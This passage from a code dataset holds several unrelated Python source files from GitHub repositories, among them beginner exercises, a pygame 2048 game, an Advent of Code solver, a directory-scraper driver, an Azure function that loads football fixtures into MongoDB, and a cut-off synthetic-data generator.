task6_list:\n# mulka0 = mulka0 + element_2\n# srenyaya_mulka = mulka0 / len(task6_list)\n# return srenyaya_mulka\n# print(srendee(task6_list))\n#\n#\n#\n# new_list = [-20, 12, 20, -35, 10, -1, 15]\n#\n#\n# def summa_modul(new_list):\n# summa_mod = 0\n# for i in new_list:\n# if i > -2.5:\n# summa_mod = abs(i) * abs(i) + summa_mod\n# return summa_mod\n# print(summa_modul(new_list))\n#\n# def summa_na_5(new_list):\n# summa_celih_na_5 = 0\n# for x in new_list:\n# if x%5 == 0:\n# summa_celih_na_5 = x + summa_celih_na_5\n# return summa_celih_na_5\n# print(summa_na_5(new_list))\n#\n#\n#\n# godovie = [6.25, 6.12, 6.73, 7.15, 8.17]\n# def sberbank(godovie):\n# vklad_base = vklad = 10000\n# profit = 0\n#\n# for proc in godovie:\n# vklad = (vklad / 100) * proc + vklad\n#\n# return vklad - vklad_base\n# print(sberbank(godovie))\n\n\nfrom datetime import datetime\n\ngodovie = [6.25, 6.12, 6.73, 7.15, 8.17]\ndef sberbank_popolnen(godovie, popolnenie=10000, base_vklad=10000):\n vklad = base_vklad\n period = 0\n profit = 0\n chistaya_pribl = 0\n god = datetime.now().year\n for proc in godovie:\n profit = vklad / 100 * proc\n chistaya_pribl = chistaya_pribl + profit\n vklad = vklad + profit\n if period != 0:\n vklad = vklad + popolnenie\n base_vklad = base_vklad + base_vklad\n print('В {} году размер вклада составит {} , профит {}, а чистая прибыль {} р.'.format(god, vklad, profit, chistaya_pribl))\n period = period + 1\n god = god + 1\n\n return vklad - base_vklad\n\nsberbank_popolnen(godovie)","repo_name":"AntonOni/pythoncore","sub_path":"src/task6-for_collection.py","file_name":"task6-for_collection.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4052145074","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('user//', views.UserGames.as_view()),\n path('game//', views.GameDetail.as_view()),\n path('new_game/', views.CreateGame.as_view()),\n]","repo_name":"stephenrdove/cardgames","sub_path":"src/api/bus/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38560099911","text":"__all__ = [\"ClassifierAllSelector\"]\n\n\nfrom ....utils.entrypoints import Component\nfrom ....utils.utils import trace\n\n\nclass ClassifierAllSelector(Component):\n \"\"\"\n **Description**\n Combines all the models to create the output. This is the default submodel selector.\n\n :param params: Additional arguments sent to compute engine.\n\n \"\"\"\n\n @trace\n def __init__(\n self,\n **params):\n\n self.kind = 'EnsembleMulticlassSubModelSelector'\n self.name = 'AllSelectorMultiClass'\n self.settings = {}\n\n super(\n ClassifierAllSelector,\n self).__init__(\n name=self.name,\n settings=self.settings,\n kind=self.kind)\n","repo_name":"microsoft/NimbusML","sub_path":"src/python/nimbusml/internal/core/ensemble/sub_model_selector/classifierallselector.py","file_name":"classifierallselector.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":279,"dataset":"github-code","pt":"62"} +{"seq_id":"6604271809","text":"import os\nfrom sendgrid import SendGridAPIClient\nfrom sendgrid.helpers.mail import Mail\nimport streamlit as st\n\n\nemaiid= st.text_input(\"Enter email\")\nif st.button(\"Send\"):\n message = Mail(\n from_email='muthulingam.thanoraj@flipick.com',\n to_emails='judesajith.aj@gmail.com',\n subject='Sending with Twilio SendGrid is Fun',\n html_content='and easy to do anywhere, even with Python')\n try:\n sg = SendGridAPIClient(os.environ.get('SENDGRID_API_KEY'))\n response = sg.send(message)\n st.write(response.status_code)\n st.write(response.body)\n st.write(response.headers)\n except Exception as e:\n st.write(e.message)","repo_name":"SajithJude/sangee","sub_path":"pag/sample_email_test.py","file_name":"sample_email_test.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17297473656","text":"\ntest_input_ = \"\"\"\n6,10\n0,14\n9,10\n0,3\n10,4\n4,11\n6,0\n6,12\n4,1\n0,13\n10,12\n3,4\n3,0\n8,4\n1,10\n2,14\n8,10\n9,0\n\nfold along y=7\nfold along x=5\n\"\"\".split(\"\\n\")\n\n# Then, there is a list of fold instructions.\n# Each instruction indicates a line on the transparent paper\n# and wants you to fold the paper up (for horizontal y=... lines) or left (for vertical x=... lines).\n\ndef fold(points, axis, fold_coord):\n for x,y in points:\n if axis == \"y\":\n assert y != fold_coord\n if y < fold_coord:\n yield x,y\n else:\n yield x, fold_coord - (y - fold_coord)\n elif axis == \"x\":\n assert x != fold_coord\n if x < fold_coord:\n yield x,y\n else:\n yield fold_coord - (x - fold_coord), y\n else:\n assert False, f\"({x},{y}),{axis}={fold_coord}\"\n\n\ndef parse_input(source):\n source = [li.strip() for li in source if li.strip()]\n commands = []\n dots = []\n for li in source:\n if li.startswith(\"fold along\"):\n li = li.replace(\"fold along \", '')\n axis, coord = li.strip().split(\"=\")\n commands.append((axis, int(coord)))\n else:\n x,y = map(int,li.split(\",\"))\n dots.append((x,y))\n return dots, commands\n\ndef fold_transparent_paper(source, folds_n = 1):\n dots, commands = parse_input(source)\n for axis, coord in commands[:folds_n]:\n dots = set(fold(dots, axis, coord))\n print(len(dots))\n if folds_n == None:\n display_dots(dots)\n return len(dots)\n\ndef display_dots(dots):\n maxx = max(dots, key=lambda p:p[0])[0]\n maxy = max(dots, key=lambda p:p[1])[1]\n matrix = [[' ']*(maxx+1) for y in range(maxy+1)]\n for x,y in dots:\n matrix[y][x] = \"#\"\n rows = [''.join(r) for r in matrix]\n for row in rows:\n print(row)\n\ndef main(filename):\n with open(filename) as fp:\n x= fold_transparent_paper(fp)\n print(\"simple: \", x)\n with open(filename) as fp:\n y=fold_transparent_paper(fp, None)\n print(\"adv: \", y)\n \n\nif __name__ == \"__main__\":\n assert fold_transparent_paper(test_input_) == 17\n #assert fold_transparent_paper(test_input_, None) == 17\n main(\"input.txt\")\n","repo_name":"pipijajko/aoc2021","sub_path":"day13/day13.py","file_name":"day13.py","file_ext":"py","file_size_in_byte":2256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24262292446","text":"import math\nimport random\nimport time\n\nimport numpy as np\n\n\ndef time_measure(method):\n def timed(*args, **kw):\n ts = time.time()\n result = method(*args, **kw)\n te = time.time()\n\n print(\"%r %2.2f ms\" % (method.__name__, (te - ts) * 1000))\n return result\n\n return timed\n\n\n# For testing the performance, comment in the decorator to measure time for execution\n# @time_measure\ndef augment_trajectory(arr, aug_factor=0.1):\n \"\"\"Augment a trajectory by moving certain pixels which are detections\n into random directions\n \"\"\"\n # Get list of indices and sample subset\n indices = get_indices_detections(arr)\n indices_sampled = random.sample(indices, math.ceil(len(indices) * aug_factor))\n random.shuffle(indices_sampled)\n\n for index_tuple in indices_sampled:\n new_dest, indices = get_destination(arr, index_tuple, indices)\n arr = move_pixel(arr, index_tuple, new_dest)\n\n return arr\n\n\ndef get_destination(arr, old_position, indices):\n \"\"\"Get destinations where pixel can be moved to\"\"\"\n directions = [(1, 1), (-1, -1), (1, 1), (-1, -1), (0, -1), (0, 1), (1, 0), (-1, 0)]\n\n for _ in range(len(directions)):\n direction = random.sample(directions, 1)[0]\n\n x = old_position[0] + direction[0]\n y = old_position[1] + direction[1]\n z = old_position[2]\n new_pos = (x, y, z)\n\n if (new_pos[0] < 0) or (new_pos[0] >= arr.shape[0]) or (new_pos[1] < 0) or (new_pos[1] >= arr.shape[1]):\n continue\n\n if new_pos not in indices:\n index_old_pos = indices.index(old_position)\n indices[index_old_pos] = new_pos\n return new_pos, indices\n\n # if all position are already a detection pixel, return the old value\n return old_position, indices\n\n\ndef get_indices_detections(arr):\n \"\"\"Returns list of tuples of indices of detections\"\"\"\n nonzeros = np.nonzero(arr)\n detections = list()\n for i in range(len(nonzeros[0])):\n detections.append((nonzeros[0][i], nonzeros[1][i], nonzeros[2][i]))\n return detections\n\n\ndef move_pixel(arr, old_dest, new_dest):\n \"\"\" Move pixel to new location \"\"\"\n save_val = np.copy(arr[old_dest[0], old_dest[1], old_dest[2]])\n arr[old_dest[0], old_dest[1], old_dest[2]] = 0\n arr[new_dest] = save_val\n\n return arr\n\n\ndef main():\n test_arr = np.random.rand(4, 4, 2)\n test_arr[:, 2, 0] = 0\n print(test_arr, test_arr.shape)\n arr_augmented = augment_trajectory(test_arr, 0.5)\n print(arr_augmented, arr_augmented.shape)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Yannick947/person_counting","sub_path":"src/data_generators/trajectory_augmentation.py","file_name":"trajectory_augmentation.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"19751418092","text":"import pygame\r\nimport numpy\r\nimport random\r\nimport time\r\n\r\npygame.init()\r\n\r\nscreen_width = 840\r\nscreen_height = 600\r\n\r\ntitle = \"2048\"\r\n\r\nscreen = pygame.display.set_mode((screen_width, screen_height))\r\npygame.display.set_caption(title)\r\n\r\ndef move_LR():\r\n for i in range(len(box_frame)):\r\n new_list = [elem for elem in box_frame[i] if elem != 0]\r\n if LEFT == 1:\r\n for j in range(len(new_list)-1):\r\n if new_list[j] == new_list[j+1]:\r\n new_list[j] *= 2\r\n new_list[j+1] = 0\r\n new_list = [elem for elem in new_list if elem != 0]\r\n while len(new_list) < 4:\r\n new_list.append(0)\r\n elif RIGHT == 1:\r\n for j in range(len(new_list)-1):\r\n if new_list[j] == new_list[j+1]:\r\n new_list[j+1] *= 2\r\n new_list[j] = 0\r\n new_list = [elem for elem in new_list if elem != 0]\r\n while len(new_list) < 4:\r\n zero_list = [0 for _ in range(4 - len(new_list))]\r\n new_list = zero_list + new_list\r\n box_frame[i] = new_list\r\n spawn()\r\n \r\ndef move_UD():\r\n global box_frame\r\n box_frame_vertical = numpy.transpose(box_frame)\r\n for i in range(len(box_frame)):\r\n new_list_vertical = [elem for elem in box_frame_vertical[i] if elem != 0]\r\n if UP == 1:\r\n for j in range(len(new_list_vertical)-1):\r\n if new_list_vertical[j] == new_list_vertical[j+1]:\r\n new_list_vertical[j] *= 2\r\n new_list_vertical[j+1] = 0\r\n new_list_vertical = [elem for elem in new_list_vertical if elem != 0]\r\n while len(new_list_vertical) < 4:\r\n new_list_vertical.append(0)\r\n box_frame_vertical[i] = new_list_vertical\r\n box_frame = numpy.transpose(box_frame_vertical)\r\n elif DOWN == 1:\r\n for j in range(len(new_list_vertical)-1):\r\n if new_list_vertical[j] == new_list_vertical[j+1]:\r\n new_list_vertical[j+1] *= 2\r\n new_list_vertical[j] = 0\r\n new_list_vertical = [elem for elem in new_list_vertical if elem != 0]\r\n while len(new_list_vertical) < 4:\r\n zero_list = [0 for _ in range(4 - len(new_list_vertical))]\r\n new_list_vertical = zero_list + new_list_vertical\r\n box_frame_vertical[i] = new_list_vertical\r\n box_frame = numpy.transpose(box_frame_vertical)\r\n spawn()\r\n \r\ndef spawn():\r\n global running\r\n empty_cells = []\r\n for i in range(len(box_frame)):\r\n for j in range(len(box_frame[i])):\r\n if box_frame[i][j] == 0:\r\n empty_cells.append((i, j))\r\n \r\n if len(empty_cells) > 0:\r\n random_index = random.randrange(len(empty_cells))\r\n random_x, random_y = empty_cells[random_index]\r\n if random.random() > 0.9:\r\n box_frame[random_x][random_y] = 4\r\n else:\r\n box_frame[random_x][random_y] = 2\r\n else:\r\n game_over = game_font.render('GAME OVER', True, (0,0,0))\r\n screen.blit(game_over, (200,200))\r\n time.sleep(10)\r\n running = False\r\n\r\ndef draw_box():\r\n for i in range(len(box_frame)):\r\n for j in range(len(box_frame[0])):\r\n pygame.draw.rect(screen, BOX_FRAME, (screen_x + box_gap * (j+1) + box_width * j, screen_y + box_gap * (i+1) + box_height * i,box_width,box_height))\r\n \r\n txt_number = game_font.render(str(box_frame[i][j]),True,(0,0,0))\r\n if box_frame[i][j] != 0:\r\n screen.blit(txt_number, (screen_x + box_gap * (j+1) + box_width * j + box_width // 2 - 8, screen_y + box_gap * (i+1) + box_height * i + box_height // 2 - 8))\r\n\r\nbox_frame = [\r\n [0,0,0,0],\r\n [0,0,0,0],\r\n [0,0,0,0],\r\n [0,0,0,0]\r\n]\r\n\r\nspawn()\r\nspawn()\r\n\r\nbox_width = 80\r\nbox_height = 80\r\nbox_gap = 16\r\n\r\n# 색깔 변수\r\nBG = 255,248,220\r\nGAME_FRAME = 245,222,179\r\nBOX_FRAME = 188,143,143\r\n\r\n# 넓이 변수\r\ngame_frame_width = 400\r\ngame_frame_height = 400\r\n\r\n# 키보드 변수\r\nUP = None\r\nDOWN = None\r\nLEFT = None\r\nRIGHT = None\r\n\r\nscreen_x = screen_width // 2 - game_frame_width // 2\r\nscreen_y = screen_height // 2 - game_frame_height // 2\r\n\r\ngame_font = pygame.font.SysFont(\"arialrounded\", 15)\r\n\r\nclock = pygame.time.Clock()\r\n\r\nrunning = True\r\nwhile running:\r\n clock.tick(30)\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n running = False\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_UP:\r\n UP = 1\r\n move_UD()\r\n UP = None\r\n elif event.key == pygame.K_DOWN:\r\n DOWN = 1\r\n move_UD()\r\n DOWN = None\r\n elif event.key == pygame.K_LEFT:\r\n LEFT = 1\r\n move_LR()\r\n LEFT = None\r\n elif event.key == pygame.K_RIGHT:\r\n RIGHT = 1\r\n move_LR()\r\n RIGHT = None\r\n\r\n screen.fill(BG)\r\n \r\n # GAME_FRAME\r\n pygame.draw.rect(screen, GAME_FRAME, (screen_x,screen_y,game_frame_width,game_frame_height), 0)\r\n # BOX_FRAME\r\n draw_box()\r\n pygame.display.update()\r\n\r\npygame.quit()\r\n","repo_name":"ansehddnjs11/pygame_2048","sub_path":"2048.py","file_name":"2048.py","file_ext":"py","file_size_in_byte":5316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"31538191089","text":"# torch\nfrom torch.utils.data import random_split\nimport torchvision.datasets as datasets\nimport torchvision.transforms as transforms\n\n# ailever modules\nimport options\n\n\nclass TorchVisionDataset:\n def __init__(self, options):\n self.options = options\n self.dataset = getattr(datasets, options.dataset_name)(root=options.dataset_savepath, train=True, transform=transforms.ToTensor(), download=True)\n num_dataset = len(self.dataset)\n num_train = int(num_dataset*options.split_rate)\n num_validation = num_dataset - num_train\n\n self.dataset = random_split(self.dataset, [num_train, num_validation])\n self.train_dataset = self.dataset[0]\n self.validation_dataset = self.dataset[1]\n self.test_dataset = getattr(datasets, options.dataset_name)(root=options.dataset_savepath, train=False, transform=transforms.ToTensor(), download=True)\n \n options.add.x_train_shape = next(iter(self.train_dataset))[0].size()\n options.add.y_train_shape = 1\n options.add.x_validation_shape = next(iter(self.validation_dataset))[0].size()\n options.add.y_validation_shape = 1\n options.add.x_test_shape = next(iter(self.test_dataset))[0].size()\n options.add.y_test_shape = 1\n\n def type(self, mode='train'):\n x_size = getattr(self.options.add, 'x_'+mode+'_shape')\n y_size = getattr(self.options.add, 'y_'+mode+'_shape')\n print(f'[DATASET][{mode.upper()}] input size : {x_size}')\n print(f'[DATASET][{mode.upper()}] target size : {y_size}')\n if mode == 'train':\n return self.train_dataset\n elif mode == 'validation':\n return self.validation_dataset\n elif mode == 'test':\n return self.test_dataset\n","repo_name":"ailever/ailever","sub_path":"storage/experiment/datasets/_torchvision.py","file_name":"_torchvision.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"44189212573","text":"from typing import List\n\n\nclass Solution:\n def canJump(self, nums: List[int]) -> bool:\n max_reach = 0\n for i, n in enumerate(nums):\n if max_reach < i:\n return False\n max_reach = max(i+n, max_reach)\n if max_reach >= len(nums) - 1:\n return True\n return True\n\n\nclass SolutionDP:\n \"\"\"\n https://leetcode.com/problems/jump-game/discuss/20923/Java-Solution-easy-to-understand\n dp[i]的含义是:从i能不能跳到末尾, 假设i能跳到的最大位置是i+j, 那么, dp[i] = any(dp[i+1~i+j])\n \"\"\"\n def canJump(self, nums):\n l = len(nums)\n print(nums)\n dp = [False] * l #\n dp[-1] = True\n for i in range(l-2, -1, -1):\n j = nums[i]\n print(i, j)\n dp[i] = any(dp[i:i+j+1])\n print(dp)\n return dp[0]\n\n\n\nif __name__ == '__main__':\n s = SolutionDP().canJump\n ns = [2, 3, 1, 1, 4]\n s(ns)","repo_name":"lianglee123/leetcode","sub_path":"1~100/51~60/55.jump_game.py","file_name":"55.jump_game.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73203915077","text":"import scraper\nfrom string import ascii_lowercase\n\n\nkeyword = \"\"\n\nwrite_file = \"resultsH_Z.csv\"\nfile_heading = [[\"Name\",\"Title\",\"Major\",\"Email\",\"Mailbox\"]]\ntemp_file = \"temp_with_duplicates.csv\"\n\nscraper.csv_write(write_file, file_heading)\n\n#For storing the results from the following for-loops at completion\nresult_set = set()\nresult_a_lst = []\n\nfor first_letter in ascii_lowercase:\n\tif first_letter < 'h':\n\t\tcontinue\n\tfor second_letter in ascii_lowercase:\n\t\tfor third_letter in ascii_lowercase:\n\t\t\tkeyword = first_letter + second_letter + third_letter\n\n\t\t\t#INFO: print out current keyword being searched\n\t\t\tprint(\"INFO: currently searching: \" + keyword)\n\n\t\t\tresult_a_lst = scraper.keyword_search(keyword)\n\n\t\t\t#INFO: Print out each result_a_lst for each keyword searched.\n\t\t\t#scraper.pretty_list_printer(result_a_lst)\n\n\t\t\tfor each in result_a_lst:\n\t\t\t\tresult_set.add(tuple(each))\n\t\t\tscraper.csv_write(temp_file, result_a_lst)\n\nscraper.csv_write(write_file, list(result_set))\nprint(\"program finished without error\")","repo_name":"zanwenhuahao/webScraping-data-analytics-UCB","sub_path":"mainProgram.py","file_name":"mainProgram.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"21987294883","text":"import logging\r\nimport os\r\nimport traceback\r\nimport http.client\r\nimport json\r\nimport bson\r\nfrom datetime import datetime\r\nimport pathlib\r\nfrom azure.storage.blob import ContainerClient\r\nimport azure.functions as func\r\nimport pymongo\r\n\r\nglobal json_i_want\r\nglobal fixtures_list\r\nglobal all_fixtures\r\nglobal number_of_erros\r\n\r\n# https://stackoverflow.com/questions/11875770/how-to-overcome-datetime-datetime-not-json-serializable/\r\nclass DatetimeEncoder(json.JSONEncoder):\r\n def default(self, obj):\r\n try:\r\n return super().default(obj)\r\n except TypeError:\r\n return str(obj)\r\n\r\n# https://stackoverflow.com/a/55080038\r\ndef object_id_from_int(n):\r\n s = str(n)\r\n s = '0' * (24 - len(s)) + s\r\n return bson.ObjectId(s)\r\n\r\n# https://stackoverflow.com/a/55080038\r\ndef int_from_object_id(obj):\r\n return int(str(obj))\r\n\r\n\r\ndef get_folder(filename):\r\n current_path = pathlib.Path(__file__).parent.parent\r\n return str(current_path / filename)\r\n\r\ndef check_api(key, request):\r\n connection = http.client.HTTPSConnection(\"v3.football.api-sports.io\")\r\n\r\n headers = {\r\n 'x-rapidapi-host': \"v3.football.api-sports.io\",\r\n 'x-rapidapi-key': key\r\n }\r\n\r\n connection.request(\"GET\", request, headers=headers)\r\n\r\n response = connection.getresponse()\r\n data_recieved = response.read()\r\n\r\n return data_recieved\r\n\r\n\r\ndef process_api_data(data):\r\n json_i_want = {}\r\n json_i_want[\"FIXTURES\"] = []\r\n football_api_key = os.getenv('footballapikey')\r\n \r\n mongoconnection = os.getenv('mongoconnection')\r\n mongoclient = os.getenv('mongodbclient')\r\n\r\n read_api = json.loads(check_api(football_api_key, data))\r\n json2 = str(json.dumps(read_api))\r\n\r\n now = datetime.now()\r\n date_time_now_format = now.strftime(\"%d/%m/%Y %H:%M:%S\")\r\n\r\n # PROCESS ONLY DATA I WANT\r\n\r\n length = len(read_api['response'])\r\n fixtures_season = read_api['parameters']['season']\r\n fixtures_league = read_api['parameters']['league']\r\n\r\n \r\n \r\n\r\n for index in range(length):\r\n if (read_api[\"response\"][index][\"goals\"][\"home\"] == None):\r\n fixture_goals_home = -1\r\n else:\r\n fixture_goals_home = read_api[\"response\"][index][\"goals\"][\"home\"]\r\n\r\n if (read_api[\"response\"][index][\"goals\"][\"away\"] == None):\r\n fixture_goals_away = -2\r\n else:\r\n fixture_goals_away = read_api[\"response\"][index][\"goals\"][\"away\"]\r\n\r\n if (read_api[\"response\"][index][\"teams\"][\"home\"][\"winner\"] == None):\r\n fixture_team_home_is_winner = 'NA'\r\n else:\r\n fixture_team_home_is_winner = read_api[\"response\"][index][\"teams\"][\"home\"][\"winner\"]\r\n\r\n if (read_api[\"response\"][index][\"teams\"][\"away\"][\"winner\"] == None):\r\n fixture_team_away_is_winner = 'NA'\r\n else:\r\n fixture_team_away_is_winner = read_api[\"response\"][index][\"teams\"][\"away\"][\"winner\"]\r\n\r\n original_date = read_api[\"response\"][index][\"fixture\"][\"date\"]\r\n date_time_obj = datetime.strptime(original_date, \"%Y-%m-%dT%H:%M:%S%z\")\r\n fixture_date_formatted = date_time_obj.strftime(\"%d/%m/%Y\")\r\n fixture_time_formatted = date_time_obj.strftime(\"%H:%M:%S\")\r\n fixture_id = read_api[\"response\"][index][\"fixture\"]['id']\r\n fixture_date = fixture_date_formatted\r\n fixture_time = fixture_time_formatted\r\n fixture_status = read_api[\"response\"][index][\"fixture\"][\"status\"][\"long\"]\r\n fixture_league_id = read_api[\"response\"][index][\"league\"][\"id\"]\r\n fixture_season = read_api[\"response\"][index][\"league\"][\"season\"]\r\n fixture_round = read_api['response'][index]['league']['round']\r\n fixture_team_home_id = read_api[\"response\"][index][\"teams\"][\"home\"][\"id\"]\r\n fixture_team_away_id = read_api[\"response\"][index][\"teams\"][\"away\"][\"id\"]\r\n fixture_team_home_name = read_api[\"response\"][index][\"teams\"][\"home\"][\"name\"]\r\n fixture_team_away_name = read_api[\"response\"][index][\"teams\"][\"away\"][\"name\"]\r\n\r\n if ((fixture_goals_home >= 0 and fixture_goals_away >= 0) and (fixture_team_home_is_winner == 'NA') and (fixture_goals_home == fixture_goals_away)):\r\n fixture_team_home_is_winner = 'DRAW'\r\n fixture_team_away_is_winner = 'DRAW'\r\n\r\n \r\n # https://stackoverflow.com/a/55080038\r\n fixutre_id_obj = object_id_from_int(fixture_id)\r\n \r\n json_i_want['FIXTURES'].append(\r\n # Example objectid:\r\n # 000000000000000000715870\r\n { '_id': bson.objectid.ObjectId(fixutre_id_obj),\r\n 'fixture_id': fixture_id,\r\n 'fixture_utc_date': date_time_obj,\r\n 'fixture_date': fixture_date,\r\n 'fixture_time': fixture_time,\r\n # 'fixture_timezone': fixture_timezone,\r\n 'fixture_status': fixture_status,\r\n 'fixture_league_id': fixture_league_id,\r\n 'fixture_season': fixture_season,\r\n 'fixture_round': fixture_round,\r\n 'fixture_team_home_id': fixture_team_home_id,\r\n 'fixture_team_away_id': fixture_team_away_id,\r\n 'fixture_team_home_name': fixture_team_home_name,\r\n 'fixture_team_away_name': fixture_team_away_name,\r\n 'fixture_goals_home': fixture_goals_home,\r\n 'fixture_goals_away': fixture_goals_away,\r\n 'fixture_team_home_is_winner': fixture_team_home_is_winner,\r\n 'fixture_team_away_is_winner': fixture_team_away_is_winner,\r\n })\r\n\r\n return json_i_want['FIXTURES']\r\n # mongo_client = pymongo.MongoClient(mongoconnection)\r\n # latest_string = \"latest__\" + str(fixture_league_id)\r\n # mongo_db = mongo_client[mongoclient]\r\n # mongo_db = mongo_db.drop_collection(mongo_db[latest_string])\r\n # mongo_db = mongo_client[mongoclient]\r\n # mongo_collection = mongo_db[latest_string]\r\n\r\n # mongo_client = pymongo.MongoClient(mongoconnection)\r\n # # latest_string = \"latest__\" + str(fixture_league_id)\r\n # mongo_db = mongo_client[mongoclient]\r\n # mongo_collection = mongo_db[\"fixtures\"]\r\n\r\n \r\n\r\ndef main(mytimer: func.TimerRequest):\r\n number_of_errors = 0\r\n blobcontainer = os.getenv('blobcontainer')\r\n blobconnection = os.getenv('blobconnection')\r\n mongoconnection = os.getenv('mongoconnection')\r\n mongoclient = os.getenv('mongodbclient')\r\n mongo_client = pymongo.MongoClient(mongoconnection)\r\n mongo_db = mongo_client[mongoclient]\r\n mongo_db = mongo_db.drop_collection(\"fixtures\")\r\n mongo_db = mongo_client[mongoclient]\r\n mongo_collection = mongo_db[\"fixtures\"]\r\n\r\n # json_i_want = {}\r\n # json_i_want[\"FIXTURES\"] = []\r\n all_fixtures = {}\r\n all_fixtures[\"errors\"] = []\r\n all_fixtures[\"info\"] = []\r\n # all_fixtures[\"FIXTURES\"] = []\r\n # all_fixtures[\"premier\"] = []\r\n\r\n fixtures_premier_league = \"/fixtures?league=41&season=2021\"\r\n fixtures_leauge_one = \"/fixtures?league=39&season=2021\"\r\n\r\n all_fixtures[\"FIXTURES\"] = process_api_data(fixtures_premier_league) + process_api_data(fixtures_leauge_one)\r\n\r\n # all_fixtures[\"league_one\"] = []\r\n \r\n # all_fixtures[\"league_one\"] = process_api_data(fixtures_leauge_one)\r\n\r\n # all_fixtures[\"FIXTURES\"] = all_fixtures[\"league_one\"] + all_fixtures[\"premier\"]\r\n \r\n try:\r\n number_of_fixtures = 0\r\n number_of_fixtures = len(all_fixtures[\"FIXTURES\"])\r\n mongo_collection.insert_many(all_fixtures[\"FIXTURES\"])\r\n all_fixtures[\"info\"].append({\"numberOfFixtures\": number_of_fixtures})\r\n except Exception as e:\r\n number_of_errors = number_of_errors + 1\r\n track = traceback.format_exc()\r\n all_fixtures[\"errors\"].append({\"errortype\": str(e) + str(track), \"numErrors\": number_of_errors})\r\n all_fixtures[\"FIXTURES\"] = all_fixtures[\"league_one\"] + all_fixtures[\"premier\"] + all_fixtures[\"errors\"]\r\n\r\n\r\n\r\n parsed_json_i_want = json.dumps(all_fixtures, cls=DatetimeEncoder)\r\n\r\n now = datetime.now()\r\n now_str = now.strftime(\"%d-%m-%YT%H:%M:%S\")\r\n output_filename = \"bbet_fixtures__\"+ now_str + \"__.json\"\r\n \r\n container_client = ContainerClient.from_connection_string(blobconnection, blobcontainer)\r\n blob_client = container_client.get_blob_client(output_filename)\r\n \r\n \r\n # TODO: try except this\r\n blob_client.upload_blob(parsed_json_i_want, overwrite=True)\r\n","repo_name":"jamiestorey/BroccoliBet.Functions.Azure.DailyAPI","sub_path":"dailyFootballAPIAllFixtures/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"5154662925","text":"#!/usr/bin/env python\n\nimport urllib.request, urllib.parse\nimport json\nimport asyncio\nimport aiohttp\n\n\nend_point = 'http://54.92.123.84/search?'\napi_key = '869388c0968ae503614699f99e09d960f9ad3e12'\n\n\ndef generate_url(keyword):\n '''\n keywordを含む記事を検索するAPIを生成\n '''\n params = {\n 'q': 'Body:' + keyword,\n 'wt': 'json',\n 'ackey': api_key\n }\n return end_point + urllib.parse.urlencode(params)\n\n\nasync def get_response(keyword, url):\n '''\n keywordとそれに対応するAPIのURLを叩いて結果をいい感じのJSONにする\n '''\n response = await aiohttp.get(url)\n data = await response.text()\n json_data = json.loads(data)\n return responce2simple_json(keyword, json_data)\n\n\ndef responce2simple_json(keyword, res):\n '''\n 返ってきたJSONから必要な部分だけを抽出\n '''\n return {'name': keyword, 'count': int(res['response']['result']['numFound'])}\n\n\ndef calc_max_numFound(tasks):\n '''\n すべての結果(Taskのset)からnumFoundが最大のものをdictとして返す\n '''\n return max(tasks, key=lambda task: int(task.result()[\"count\"])).result()\n\n\ndef print_for_test(ans):\n '''\n ans(Dict型)をテストで求められる形式に変換\n '''\n print(\"{\\\"name\\\":\\\"\" + ans['name'] + \"\\\",\\\"count\\\":\" + str(ans['count']) + \"}\")\n\n\ndef main(argv):\n futures = []\n\n for keyword in argv:\n url = generate_url(keyword.encode('utf-8', 'surrogateescape').decode('utf-8'))\n futures.append(get_response(keyword, url))\n\n loop = asyncio.get_event_loop()\n tasks = loop.run_until_complete(asyncio.wait(futures))[0]\n print_for_test(calc_max_numFound(tasks))\n","repo_name":"taniTk/codecheck-5156-asahi-keyword","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33822764955","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nfrom be_great import GReaT\nfrom be_great.great_trainer import GReaTTrainer\n\n\n\ndef start_generation(data: pd.DataFrame, folder_name: str, drop_columns_list: list, epochs: int = 250, batch_size: int = 32,\n conditional_column : str = None):\n \"\"\"\n Calls the functions to train the model plot the learning history and sample different sizes of synthetic data.\n\n Parameters\n ----------\n data : pd.DataFrame\n Tabular data on which the synthesized data is based on\n folder_name : str\n The folder in which the input file is stored and the output will be saved.\n drop_columns_list : list, optional\n Defines columns which will be dropped\n epochs : int\n Number of epochs for fine-tuning (default : 250)\n batch_size : int\n Batch size for fine-tuning (default : 32)\n conditional_column : str\n Sampling will depend on that column (default : last column)\n \"\"\"\n\n trainer = train_model(data, folder_name, drop_columns_list, epochs, batch_size, conditional_column)\n\n plot_history(trainer, folder_name, epochs)\n\n for number_of_samples in [100, 1000, 10000]:\n sample_model(folder_name, number_of_samples, batch_size)\n\n\ndef 